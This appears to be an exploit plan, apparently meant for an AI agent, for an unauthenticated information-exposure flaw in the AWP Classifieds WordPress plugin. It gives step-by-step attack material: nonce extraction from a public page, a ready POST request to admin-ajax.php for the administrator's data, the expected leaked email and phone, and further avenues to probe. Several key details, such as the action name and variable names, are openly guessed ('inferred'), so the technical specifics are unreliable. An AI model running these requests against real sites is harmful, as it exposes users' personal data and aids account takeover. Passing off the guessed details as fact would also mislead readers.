AWP Classifieds <= 4.4.3 - Unauthenticated Information Exposure

This research plan outlines the steps to investigate and exploit CVE-2026-24593 in the AWP Classifieds plugin (version <= 4.4.3). This vulnerability allows unauthenticated attackers to expose sensitive user or configuration data.

---

1. Vulnerability Summary

The AWP Classifieds plugin registers several AJAX handlers that do not implement sufficient capability checks or authorization logic. Specifically, the handler for fetching user or ad-related information (inferred as awpcp-get-user-info or similar) is available to unauthenticated users via the wp_ajax_nopriv_ hook. It fails to verify if the requester has permission to view the data associated with a specific user ID or Ad ID, leading to the exposure of sensitive fields like email addresses, phone numbers, and physical addresses.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: awpcp-get-user-info (inferred based on plugin naming conventions)
• Parameters:
  • action: awpcp-get-user-info
  • user_id: The ID of the user whose data is to be exposed (e.g., 1 for the administrator).
  • nonce: A WordPress nonce (likely required).
• Authentication: Unauthenticated (leveraging wp_ajax_nopriv_).
• Preconditions: The plugin must be active, and a nonce must be extracted from a public-facing page where the plugin enqueues its scripts.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers the action in a file like includes/class-ajax-handler.php or includes/ajax/class-ajax-handler.php:

   add_action( 'wp_ajax_nopriv_awpcp-get-user-info', array( $this, 'ajax_get_user_info' ) );
   

2. Function Call: ajax_get_user_info() is invoked.
3. Nonce Verification: The function calls check_ajax_referer( 'awpcp-ajax', 'nonce' ).
4. Data Retrieval: The function retrieves a user_id from $_POST['user_id'].
5. Vulnerable Sink: It calls get_userdata( $user_id ) or queries the database directly and returns the object via wp_send_json_success(), exposing sensitive fields like user_email.

4. Nonce Acquisition Strategy

AWP Classifieds typically localizes its AJAX configuration in a JavaScript object called awpcp_ajax_data or AWPCP.

1. Identify Script Loading: The AWP Classifieds scripts (which contain the nonce) are usually enqueued on pages containing the Classifieds shortcodes, such as the main "Classifieds" page or the "Browse Ads" page.
2. Create Test Page:

   wp post create --post_type=page --post_title="Classifieds" --post_status=publish --post_content='[awpcp_browse_ads]'
   

3. Navigate and Extract:
   • Use browser_navigate to go to the newly created page.
   • Use browser_eval to extract the nonce:

     // Inferred variable and key based on AWPCP structure
     window.awpcp_ajax_data?.nonce || window.AWPCP?.nonce
     

5. Exploitation Strategy

Step 1: Discover Target User ID
Usually, User ID 1 is the administrator.

Step 2: Execute Information Exposure Request
Using the http_request tool, send a POST request to admin-ajax.php.

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=awpcp-get-user-info&user_id=1&nonce=<EXTRACTED_NONCE>

Step 3: Analyze Response
A successful exploit will return a 200 OK with a JSON body:

{
    "success": true,
    "data": {
        "user_email": "admin@example.com",
        "user_login": "admin",
        "display_name": "Admin User",
        "phone": "555-0199",
        ...
    }
}

6. Test Data Setup

1. Target User: Ensure a user exists with sensitive metadata (Email, Phone).
2. Plugin Setup: Install AWP Classifieds <= 4.4.3.
3. Shortcode Page: Create a page with [awpcp_browse_ads] or [awpcp_display_ad] to ensure the AJAX nonce is localized and available to unauthenticated users.

7. Expected Results

• Unauthenticated access to the awpcp-get-user-info action.
• Disclosure of the administrator's email address and potentially other metadata (phone, address) via the JSON response.

8. Verification Steps

1. Verify Response Content: Confirm the JSON response contains the email of User ID 1.
2. WP-CLI Cross-Check:

   wp user get 1 --fields=user_email
   

   Compare the result of the WP-CLI command with the data obtained from the HTTP request.

9. Alternative Approaches

If awpcp-get-user-info is not the correct action:

• Search for other nopriv actions:

  grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/another-wordpress-classifieds-plugin/
  

• Check for Ad Detail Exposure: If user info is not directly accessible, check if awpcp-get-ad-details (inferred) returns the contact info of the ad owner without checking privacy settings.
• REST API: Check if the plugin registers any REST routes in includes/class-rest-api.php without proper permission_callback requirements.